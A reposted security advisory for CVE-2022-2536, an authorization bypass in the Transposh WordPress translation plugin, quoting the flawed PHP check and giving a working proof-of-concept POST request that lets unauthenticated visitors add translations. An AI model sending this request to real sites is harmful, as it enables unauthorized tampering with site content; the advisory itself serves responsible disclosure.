[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Transposh WordPress Translation 1.0.8.1 Incorrect Authorization Vulnerability

Author
Julien Ahrens
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-37915
Category
web applications
Date add
22-08-2022
CVE
CVE-2022-2536
Platform
php
1. ADVISORY INFORMATION
=======================
Product:        Transposh WordPress Translation
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type:           Incorrect Authorization [CWE-863]
Date found:     2022-07-23
Date published: 2022-08-16
CVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE:            CVE-2022-2536


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below


4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
When installed, Transposh comes with a set of pre-configured options; one of these
is the "Who can translate" setting under the "Settings" tab. However, this option
is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by
default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a
faulty validation in "wp/transposh_db.php":

if (!$by && !($all_editable &&
        ($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {
    tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);
    header("HTTP/1.0 401 Unauthorized translation");
    exit;
}

Successful exploits can allow an unauthenticated attacker to bypass the Transposh
permissions and add translations to the WordPress site, thereby influencing what
is shown on the site. However, this only affects new translations.


6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close

action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation


7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.


8. REPORT TIMELINE
==================
2022-07-23: Discovery of the vulnerability
2022-07-23: CVE requested from Wordfence (CNA)
2022-07-25: Wordfence assigns CVE-2022-2536
2022-08-09: Sent note to vendor
2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet
2022-08-16: Public Disclosure

#  0day.today [2024-10-05]  #